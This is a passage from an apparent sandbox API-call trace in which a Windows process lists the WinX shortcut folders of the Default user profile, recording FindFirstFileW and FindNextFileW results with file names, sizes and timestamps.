ftLastAccessTime.dwLowDateTime=0x9ee78381, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.778] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.778] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3c [0209.779] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.781] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.782] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="")) returned 1 [0209.782] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="")) returned 1 [0209.782] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="")) returned 1 [0209.782] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="")) returned 1 [0209.783] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="")) returned 1 [0209.783] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.783] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.783] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.784] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3c [0209.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.786] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.786] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="")) returned 1 [0209.786] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="")) returned 1 [0209.786] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="")) returned 1 [0209.787] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="")) returned 1 [0209.787] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="")) returned 1 [0209.787] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.787] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.788] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.789] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3c [0209.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.951] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.951] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0209.951] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0209.951] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="")) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="")) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="")) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="")) returned 1 [0209.953] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="")) returned 1 [0209.953] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="")) returned 1 [0209.953] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="")) returned 1 [0209.953] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="")) returned 1 [0209.953] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="")) returned 1 [0209.954] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.954] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.954] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0209.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0209.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0209.955] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3c [0209.955] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.956] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.957] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0209.957] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0209.957] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0209.958] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0209.958] 